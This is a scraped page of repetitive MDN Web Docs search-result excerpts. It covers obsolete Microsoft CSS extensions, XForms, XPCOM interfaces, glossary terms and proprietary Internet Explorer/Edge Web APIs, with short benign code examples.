...olor. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this attribute specifies the logical class of the identifier, which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example s...
...And 2 more matches
symsrv_convert - Archive of obsolete content
make sure you have a symsrv.dll and symsrv.yes in the directory where symsrv_convert is looking. ...
... make sure you have a symsrv.dll and symsrv.yes in the directory where symsrv_convert is looking. ...
... make sure you have a symsrv.dll and symsrv.yes in the directory where symsrv_convert is looking. ...
... make sure you have a symsrv.dll and symsrv.yes in the directory where symsrv_convert is looking. ...
-ms-accelerator - Archive of obsolete content
the -ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut. initial valuefalseapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* the object is not a keyboard shortcut (the default) */ -ms-accelerator: false /* the object is a keyboard shortcut */ -ms-accelerator: true values false the object is not a keyboard shortcut. true the object is a keyboard shortcut. formal syntax false | true examples this example uses the -ms-accelerator attribute in a <u> element to specify that the "n" in the <label> element is a keyboard shortcut. when the option to "hide keyboard navigation indicators until i use the alt key" is enabled in the user's di...
...hide keyboard navigation indicators until i use the alt key" is enabled in the user's display properties, the "n" is not underlined until the user presses the alt key. when alt + n is pressed, the <input> element that defines an accesskey attribute value of "n" receives the focus. ...
... <body> <label for="oname"><u style="-ms-accelerator: true; accelerator: true">n</u>ame: </label> <input type="text" id="oname" size="25" accesskey="n" value="your name here" /> </body> </html> specifications not part of any specification. remarks this property is supported by windows 2000 and later. it enables users to hide navigation indicators for menu items and controls until the alt key is pressed. an access key is a single character used as a keyboard shortcut for selecting an object. the user presses the alt key and holds it while pressing the character to move input focus to the object, and to invoke the default event associated with the object. ...
...er. it enables users to hide navigation indicators for menu items and controls until the alt key is pressed. an access key is a single character used as a keyboard shortcut for selecting an object. the user presses the alt key and holds it while pressing the character to move input focus to the object, and to invoke the default event associated with the object. in internet explorer 8 (ie8) the -ms-accelerator attribute is an extension to css, and can be used as a synonym for accelerator in ie8 standards mode. ...
-ms-content-zoom-snap-points - Archive of obsolete content
initial valuesnapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values snapinterval( <percentage>, <percentage> ) specifies where the snap-points will be placed. the first percentage specifies where the first snap-point will be placed. the second percentage specifies the distance between subsequent snap-points, both zoomed in and zoomed out from the initial snap-point. ...
...first snap-point will be placed. the second percentage specifies the distance between subsequent snap-points, both zoomed in and zoomed out from the initial snap-point. snaplist( <percentage># ) specifies the position of individual snap-points as a comma-separated list of percentages, each of which represents a zoom factor. ...
...entage specifies the distance between subsequent snap-points, both zoomed in and zoomed out from the initial snap-point. snaplist( <percentage># ) specifies the position of individual snap-points as a comma-separated list of percentages, each of which represents a zoom factor. if any value specified is less than that specified by the -ms-content-zoom-limit-min property, the value of -ms-content-zoom-limit-min is used. if any value specified is greater than that specified by the -ms-content-zoom-limit-max property, the value of -ms-content-zoom-limit-max is used. formal syntax snapinterval( <percentage>, <percentage> ) | snaplist( <percentage># ) examples this example demonstrates both types of values for the -ms-content-zoom-snap-points property. in the first selec...
...d. formal syntax snapinterval( <percentage>, <percentage> ) | snaplist( <percentage># ) examples this example demonstrates both types of values for the -ms-content-zoom-snap-points property. in the first selector, the first snap-point is at 0%, and the interval is set to 100%. in the second selector, each snap-point is listed separately—100%, 200%, 300%, and so on. .snappy1 { -ms-content-zoom-snap-points: snapinterval(0%, 100%); ... } .snappy2 { -ms-content-zoom-snap-points: snaplist(100%, 200%, 300%, 400%, 500%); ... } specifications not part of any specification. remarks this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements. when a user pans or scrolls and then lifts his or her contact (for instanc...
::-ms-clear - Archive of obsolete content
the ::-ms-clear css pseudo-element creates a clear button at the edge of an <input type="text"> text control that clears the current value. this pseudo-element is non-standard, supported only in internet explorer 10, internet explorer 11, and microsoft edge. the clear button is only shown on focused, non-empty text controls. this includes inputs that appear text-like or fall back to type="text". ...
...k to type="text". ...
...> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its selector. other properties are ignored. ...
...rder-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-clear example html <form> <label for="firstname">first name:</label> <input type="text" id="firstname" name="firstname" placeholder="first name"> <br> <label for="lastname">last name:</label> <input type="text" id="lastname" name="lastname" placeholder="second name"> </form> css input, label { display: block; } input[type=text]::-ms-clear { color: red; /* this sets the cross ...
XForms Styling - Archive of obsolete content
just a starting draft. hopefully someone more proficient in mozilla xforms and css can clean this up repeats see the mozilla xforms specials page for some general points. switches can be styled as tabs. triggers use appearance="minimal" to be able to style buttons portability the mozilla xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css. processors such as chiba create "old-style" html forms from xforms documents, and must be styled accordingly. however, most of the time the transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the new elements. appearance attributes can also make a big difference. experimenting with these can...
...e time the transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the new elements. appearance attributes can also make a big difference. experimenting with these can give you some easier way of styling the contents than just using the default. === example === here's a small example that shows equivalent styles for chiba and mozilla xforms. ...
...he transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the new elements. appearance attributes can also make a big difference. experimenting with these can give you some easier way of styling the contents than just using the default. === example === here's a small example that shows equivalent styles for chiba and mozilla xforms. ...
..., and map the old styles to the new elements. appearance attributes can also make a big difference. ...
XForms Output Element - Archive of obsolete content
introduction serves to show the instance data that the element is bound to in a read-only manner (see the spec). to see how they work you can try an xhtml example or a xul example. ...
...ed to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value. if binding attributes are present on the control then the value attribute is is ignored. type restrictions the output element can be bound to a node containing simple content of any data type. representations the xforms output element can be represented by the following widgets for the specified data types (or types derived from these data types): text - default representation for instance data of most types, especially static text (xhtml/xul). calendar - used to represent instance data of type date (xhtml/xul). image - if the instance node contains an image, then an output element can be used in combination...
...ult representation for instance data of most types, especially static text (xhtml/xul). calendar - used to represent instance data of type date (xhtml/xul). image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image (fx 3.0 only, xhtml/xul). text displaying the data as text is the default presentation. xforms output is most often used when a form author needs to render simple text of an instance node (xhtml/xul). characteristics text is presented to the user when there is no type given for the bound node or a type is specified that is not handled by one of the other widgets (as documented below). analogous widgets are <xhtml:span/> and <xul:description/> calendar a form author may notice a xform...
...text of an instance node (xhtml/xul). characteristics text is presented to the user when there is no type given for the bound node or a type is specified that is not handled by one of the other widgets (as documented below). analogous widgets are <xhtml:span/> and <xul:description/> calendar a form author may notice a xforms output element represented by a calendar widget in the mozilla xforms processor if the control meets the following criteria (xhtml/xul). characteristics the bound instance node is of type xsd:date or a type derived from it in addition, the appearance attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul. image if the bound instance node contains an image then you are free to us...
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
an algorithm is a self-contained series of instructions to perform a function. in other words, an algorithm is a means of describing a way to solve a problem so that it can be solved repeatedly, by humans or machines. computer scientists compare the efficiency of algorithms through the concept of "algorithmic complexity" or "big o" notation. for example: a cooking recipe is a simple algorithm for humans. a sorting algorithm is often used in computer programming to explain a machine how to sort data. ...
...ibing a way to solve a problem so that it can be solved repeatedly, by humans or machines. computer scientists compare the efficiency of algorithms through the concept of "algorithmic complexity" or "big o" notation. for example: a cooking recipe is a simple algorithm for humans. a sorting algorithm is often used in computer programming to explain a machine how to sort data. common algorithms are pathfinding algorithms such as the traveling salesman problem, tree traversal algorithms and so on. ...
...through the concept of "algorithmic complexity" or "big o" notation. for example: a cooking recipe is a simple algorithm for humans. a sorting algorithm is often used in computer programming to explain a machine how to sort data. common algorithms are pathfinding algorithms such as the traveling salesman problem, tree traversal algorithms and so on. ...
...hine learning algorithms such as linear regression, logistic regression, decision tree, random forest, support vector machine, recurrent neural network (rnn), long short term memory (lstm) neural network, convolutional neural network (cnn), deep convolutional neural network and so on. ...
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
the cross axis in flexbox runs perpendicular to the main axis, therefore if your flex-direction is either row or row-reverse then the cross axis runs down the columns. if your main axis is column or column-reverse then the cross axis runs along the rows. alignment of items on the cross axis is achieved with the align-items property on the flex container or align-self property on individual items. ...
...rse then the cross axis runs along the rows. alignment of items on the cross axis is achieved with the align-items property on the flex container or align-self property on individual items. in the case of a multi-line flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows. ...
...r or align-self property on individual items. in the case of a multi-line flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows. ...
... flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows. ...
Flex Container - MDN Web Docs Glossary: Definitions of Web-related terms
one of its children becomes a flex item. a value of flex causes the element to become a block level flex container, and inline-flex an inline level flex container. ...
...s the element to become a block level flex container, and inline-flex an inline level flex container. ...
..., which is similar to a block formatting context in that floats will not intrude into the container, and the margins on the container will not collapse with those of the items. ...
...intrude into the container, and the margins on the container will not collapse with those of the items. ...
Use HTML to solve common problems - Learn web development
Learn › HTML › Howto
the following links point to solutions to common everyday problems you'll need to solve with html. basic structure the most basic application of html is document structure. if you're new to html you should start with this. how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document. ...
...ld start with this. how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document. ...
...ions you might have about how to get your message across best in your document. how to create a list of items with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video content to a webpage scripting & styling html only sets up document structure. to solve presentation iss...
... to add video content to a webpage scripting & styling html only sets up document structure. to solve presentation issues, use css, or use scripting to make your page interactive. how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems. these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should start: how to create a simple web form how to structu...
Emscripten
emscripten is an llvm to javascript compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web. important: this page provides a very brief introduction to what emscripten is. to get started with emscripten, go to the official emscripten wiki. using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript. ...
...pten is. to get started with emscripten, go to the official emscripten wiki. using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript. compile the c/c++ runtimes of other languages into javascript, and then run code in those other languages in an indirect way (this has been done for python and lua)! emscripten makes native code immediately available on the web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from pcs to ipads. with emscripten, c/c++ developers don’t have the high cost of porting code manually to javascript — or having to learn javascript at all. web developers also benefit, as they can use the many thousands of pr...
...ations, and runs everywhere from pcs to ipads. with emscripten, c/c++ developers don’t have the high cost of porting code manually to javascript — or having to learn javascript at all. web developers also benefit, as they can use the many thousands of pre-existing native utilities and libraries in their sites. practically any portable c or c++ codebase can be compiled into javascript using emscripten, ranging from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like qt. emscripten generates fast code — its default output format is asm.js , a highly optimizable subset of javascript that can execute at close to native speed in many cases. ...
...nto javascript using emscripten, ranging from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like qt. emscripten generates fast code — its default output format is asm.js , a highly optimizable subset of javascript that can execute at close to native speed in many cases. note: sound interesting? read more about emscripten and try some demos, then get started with using it. other articles of interest on mdn our games zone contains some useful content related to games development, which is a common area of use for emscripten. our emscripten techniques page is a place to store useful emscripten-related ideas that haven't made it onto the emscripten wiki. ...
nsIDOMStorageItem
dom/interfaces/storage/nsidomstorageitem.idlscriptable this interface represents an object in dom storage. this is for session storage. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; previously, it was also used for global storage. attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this ...
...e description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this attribute is irrelevant for storage that is bound to an origin. value domstring the value associated with the item. ...
... stored for an http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this attribute is irrelevant for storage that is bound to an origin. value domstring the value associated with the item. ...
... http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this attribute is irrelevant for storage that is bound to an origin. value domstring the value associated with the item. ...
nsIMsgAccountManagerExtension
an account manager extension is a xpcom compontent implementing this interface. the interface is basically a manifest and defines the properties of the new panel. a panel consists of a xul file with a page element as root element and the property file containing the localized name. note: the account manager relies on a very strong naming scheme to load and unload a panel. ...
...rty file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo". you have to register any new account manager extensions via the the category manager at start up. simply add a new entry with the contact id of the component to the "mailnews-accountmanager-extensions" category. //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgaccountmanager.idlscriptable please add a summary to this article. last changed in gecko ??? inherits from: nsisupports method overview boolean showpanel(in nsimsgincomingserver server); attributes attribute type description name acstring name of the account manager extension. it has to be unique and defines the file name of the property file and the xul page as well as the na...
... the localized string contained in the property file. this attribute is readonly! chromepackagename acstring chrome package, where the files for the new panel are located. this is usually guid of the id of the addons which adds the new panel. ...
...eadonly! ...
nsIMsgCompFields
« xpcom api reference summary the nsimsgcompfields interface provides properties for an composition of an outgoing message. ...
...(bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represen...
... subject astring templatename astring temporaryfiles char * obsolete temporaryfiles obsolete, do not use anymore to astring usemultipartalternative prbool uuencodeattachments prbool methods utility methods prbool checkcharsetconversion ( out char * fallbackcharset ); nsimsgrecipientarray splitrecipients ( in prunichar * recipients, in prbool emailaddressonly ); void convertbodytoplaintext ( ); attachment handling methods void addattachment ( in nsimsgattachment attachment ); void removeattachment ( in nsimsgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, ch...
... void convertbodytoplaintext ( ); attachment handling methods void addattachment ( in nsimsgattachment attachment ); void removeattachment ( in nsimsgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following methods: nsimsgcomposesecure.begincryptoencapsulation, nsimsgcomposesecure.requirescryptoencapsulation, nsimsgsend.createandsendmessage, nsimsgsend.sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipientcertsinfo ...
Element.msZoomTo() - Web APIs
Web › API › Element › msZoomTo
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mszoomto method scrolls and/or zooms an element to its specified coordinate with animation. zoomed elements can expose their zoom level through mscontentzoom (ie. scrolltop/left). the zoom level can be reset with mszoomto. this proprietary method is specific to internet explorer and microsoft edge. syntax element.mszoomto(arguments); parameters args[in] type: mszoomtooptions contentx[in]: the x-coordinate of the content that is the target of the scroll/zoom. if no value is specified, de...
...efault. aligns the vertical center of the viewport to the element's contenty value. top: aligns the top-most point of the viewport to the element's contenty value. bottom: aligns the bottom-most point of the viewport to the element's contenty value. integer: aligns the specified y-coordinate of the viewport to the element's contenty value. scalefactor[in]: floating-point. the scale factor (mscontentzoomfactor) to zoom to. if no value is specified, defaults to the current zoom level (no additional zoom occurs).this argument is ignored if the element is not zoomable. animate[in]: the type of animation to use. default: uses the default animation. none: no animation is used. this method has no scrolling effect on non-scrollable elements and no zooming effect on non-zoomable element...
...m to. if no value is specified, defaults to the current zoom level (no additional zoom occurs).this argument is ignored if the element is not zoomable. animate[in]: the type of animation to use. default: uses the default animation. none: no animation is used. this method has no scrolling effect on non-scrollable elements and no zooming effect on non-zoomable elements (e.g., elements with "-ms-content-zooming: none"). this method has no effect if called from a parent document to scroll or zoom content hosted in an iframe. return value this method does not return a value. example /* zooming in on an element while still keeping it centered in the viewport */ var args = { contentx: target.offsetleft + target.offsetwidth/2; contenty: target.offsettop + target.offsetheight/2; ...
...s method has no effect if called from a parent document to scroll or zoom content hosted in an iframe. return value this method does not return a value. example /* zooming in on an element while still keeping it centered in the viewport */ var args = { contentx: target.offsetleft + target.offsetwidth/2; contenty: target.offsettop + target.offsetheight/2; scalefactor: 2.0; } zoomer.mszoomto(args); see also microsoft api extensions ...
Event.msConvertURL() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... targeturl [in, optional] type: url the target url. return value this method does not return a value. ...
...orresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris. this proprietary method is specific to internet explorer and the microsoft edge browser. syntax var retval = dragevent.msconverturl(file, targettype, targeturl); parameters file [in] type: file the file object to be converted. targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged". targeturl [in, optional] type: url the target url. return value this method does not return a value. example var bloblist = []; document.getelementbyid("pastezone").addeventlistener('paste', handlepaste, false); function handlepaste(evt) { var filelist = window...
...w.datatransfer.files is not applicable. ...
HTMLVideoElement.msZoom - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. mszoom is a read/write property which gets or sets whether the video frame is trimmed, on the top and bottom or left and right, to fit the video display. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mszoom; value boolean value set to true trims the video frame to the display space. set to false the video frame uses letter box or pillarbox to display video. if the native aspect ratio of a video frame, which is defined by the videowidth ...
...if the native aspect ratio of a video frame, which is defined by the videowidth and videoheight attributes, does not match the aspect ratio of the video tag, which is defined by the width and height attributes, the video is rendered with letterbox or pillarbox format. letterbox and pillarbox are the black bars on either the left and right of the video or the top and bottom of the video. ...
...d right of the video or the top and bottom of the video. when the mszoom attribute is set to true, the rendered video is trimmed to fit the dimensions of the video object. either the top and bottom of the video is trimmed or the left and right of the video is trimmed. for instance, if the layout space for the video tag is a 4:3 aspect ratio, but the stream coming in is in 16:9 aspect ratio, the mszoom option can be used to render the 16:9 video in 4:3 aspect ratio. the rendered video will then take up the full space of the video object. example this examples gets a video object and sets the mszoom property to true. ...
...space for the video tag is a 4:3 aspect ratio, but the stream coming in is in 16:9 aspect ratio, the mszoom option can be used to render the 16:9 video in 4:3 aspect ratio. the rendered video will then take up the full space of the video object. example this examples gets a video object and sets the mszoom property to true. ...
onMSVideoOptimalLayoutChanged - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes. this proprietary property is specific to internet explorer and microsoft edge. ...
...for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes. this proprietary property is specific to internet explorer and microsoft edge. ...
...havior may change in the future. onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes. this proprietary property is specific to internet explorer and microsoft edge. ...
...e. ...
Media Capture and Streams API (Media Stream) - Web APIs
concepts and usage the api is based on the manipulation of a mediastream object representing a flux of audio- or video-related data. see an example in get the video. a mediastream consists of zero or more mediastreamtrack objects, representing various audio or video tracks. ...
... api mediastreamaudiosourcenode. the output of the mediastream object is linked to a consumer. it can be a media elements, like <audio> or <video>, the webrtc rtcpeerconnection api or a web audio api mediastreamaudiosourcenode. ...
...these no longer exist, and you should update any existing code to instead use mediastreamtrack directly. ...
...these no longer exist, and you should update any existing code to instead use mediastreamtrack directly. ...
msFirstPaint - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msfirstpaint is a read-only property which gets the time when the document loaded by the window object began to be displayed to the user. ...
...n-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msfirstpaint is a read-only property which gets the time when the document loaded by the window object began to be displayed to the user. put another way, msfirstpaint utilizes the browser to measure when the first content completes being painted in the window. ...
... the numerical value reported represents the number of milliseconds between the recorded time and midnight january 1, 1970 (utc). ...
...eported represents the number of milliseconds between the recorded time and midnight january 1, 1970 (utc). this property is supported only for documents displayed in ie9 standards mode. example the following example shows how to calculate the time that is required to request the document before the document begins to display for the user. var otiming = window.performance.timing; var itimems = otiming.msfirstpaint - otiming.navigationstart; ...
msPlayToSource - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytosource is a read-only property which gets the source associated with the media element for use by the playtomanager. ...
...sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytosource is a read-only property which gets the source associated with the media element for use by the playtomanager. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytosource; value playto is a means through which an app can connect local playback/display for audio, video, and img elements to a remote device. for more information, see the windows.media.playto apis. ...
...ich gets the source associated with the media element for use by the playtomanager. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytosource; value playto is a means through which an app can connect local playback/display for audio, video, and img elements to a remote device. for more information, see the windows.media.playto apis. msplaytosource is used in the sourcerequested handler -- get the playtosource object from an audio, video, or img element using the msplaytosource property and pass it to e.setsource, then set the playtosource.next property to the msplaytosource of another element for continual playing. the property value for msplaytosource is the source associated with the media element. example <video id="video...
...n playtomanager object for app’s current view. var ptm = windows.media.playto.playtomanager.getforcurrentview(); // step 2: register for the sourcerequested event (user swipes devices charm). ptm.addeventlistener("sourcerequested", function(e) { // step 3: specify the media to be streamed (to filter devices). e.sourcerequest.setsource(document.getelementbyid("videoplayer").msplaytosource); // the media will then be streamed to the device chosen by the user in the ui. }); ...
RTCRtpStreamStats.kind - Web APIs
this string will always be the same as the one provided by the associated mediastreamtrack object's kind property. ...
... this string will always be the same as the one provided by the associated mediastreamtrack object's kind property. ...
...ionary is a string indicating whether the described rtp stream contains audio or video media. its value is always either "audio" or "video". this property was previously called mediatype. the name was changed in the specification in february, 2018. see browser compatibility below to determine how this affects the browsers you're targeting. syntax mediakind = rtcrtpstreamstats.kind; value a domstring whose value is "audio" if the track whose statistics are given by the rtcrtpstreamstats object contains audio, or "video" if the track contains video media. this string will always be the same as the one provided by the associated mediastreamtrack object's kind property. it will also match the statistics object's rtccodecstats.codec property's media type. specifications specifica...
...tains audio, or "video" if the track contains video media. this string will always be the same as the one provided by the associated mediastreamtrack object's kind property. it will also match the statistics object's rtccodecstats.codec property's media type. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.kind' in that specification. candidate recommendation initial definition. ...
RsaHashedImportParams - Web APIs
this can be one of sha-256, sha-384, or sha-512. warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable. examples see the examples for subtlecrypto.importkey(). ...
...this can be one of sha-256, sha-384, or sha-512. warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable. examples see the examples for subtlecrypto.importkey(). ...
...this can be one of sha-256, sha-384, or sha-512. ...
...he digest function to use. this can be one of sha-256, sha-384, or sha-512. warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable. examples see the examples for subtlecrypto.importkey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedimportparams' in that specification. recommendation ...
URLSearchParams.get() - Web APIs
the get() method of the urlsearchparams interface returns the first value associated to the given search parameter. note: this feature is available in web workers. syntax urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
... given search parameter. note: this feature is available in web workers. syntax urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
...r. note: this feature is available in web workers. syntax urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
...x urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification. living standard initial definition.
x-ms-aria-flowfrom - Accessibility
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...wfrom property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship attributes and the aria-flowto property. this proprietary property is specific to internet explorer and microsoft edge. ...
...us element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship attributes and the aria-flowto property. this proprietary property is specific to internet explorer and microsoft edge. ...
...lowto property. this proprietary property is specific to internet explorer and microsoft edge. syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which previous element the reading order will flow from. ...
selectedItems - Archive of obsolete content
...
... ...
... ...
-ms-ime-align - Archive of obsolete content
the -ms-ime-align css property is a microsoft extension aligning the input method editor (ime) candidate window box relative to the element on which the ime composition is active. the extension is implemented in microsoft edge and internet explorer 11. ime candidate lists are positioned on the screen with sufficient size to allow basic text input. in some cases, the ime may enforce a reasonable minimum size. in the case of -ms-ime-align: after, an ime might adjust the candidate window and keyboard input behavior to provide a better user experience, such as using a horizontal candidate list and allowing some keys to be sent to the app for suggestion list navigation. initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* keyword ...
...the ime may align the candidate window in any manner. after the ime should attempt to align the candidate window below the element (in left-to-right and right-to-left layouts). ...
...the ime may align the candidate window in any manner. after the ime should attempt to align the candidate window below the element (in left-to-right and right-to-left layouts). formal syntax auto | after specifications not part of any specification. ...
-ms-overflow-style - Archive of obsolete content
initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto the initial value. same as inherit. none scrollbars are never displayed, although the element can still be scrolled if the element's content overflows. scrollbar "traditional" scrollbars are displayed if the element's content overflows. "traditional" scrollbars don't auto-hide and never overlap the element's content. ...
...n still be scrolled if the element's content overflows. scrollbar "traditional" scrollbars are displayed if the element's content overflows. "traditional" scrollbars don't auto-hide and never overlap the element's content. accordingly, the dimensions of the layout area for the content are reduced by the width (for vertical scrollbars) or height (for horizontal scrollbars) of the scrollbar(s). ...
...s). -ms-autohiding-scrollbar auto-hiding scrollbars are used if the element's content overflows. auto-hiding scrollbars are displayed during scrolling or shortly after the pointer interacts with the page, and are hidden shortly after scrolling and pointer interaction stops. when they are visible, auto-hiding scrollbars overlap the element's content. formal syntax auto | none | scrollbar | -ms-autohiding-scrollbar specifications not part of any specification. ...
-ms-scrollbar-3dlight-color - Archive of obsolete content
initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the top and left edges of the scroll box and scroll arrows of the scroll bar. ...
...*/ } </style>...
...tage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to create a style rule that sets the -ms-scrollbar-3dlight-color property for a <textarea> element. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-3dlight-color</title> <style> .blue3dlight { -ms-scrollbar-3dlight-color: blue; scrollbar-3dlight-color: blue; /* use the standard when available. */ } </style> </head> <body> <textarea class="blue3dlight">the top and left edges of the thumb and...
-ms-scrollbar-arrow-color - Archive of obsolete content
initial valuebuttontextapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll arrows of the scroll bar. ...
... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arro...
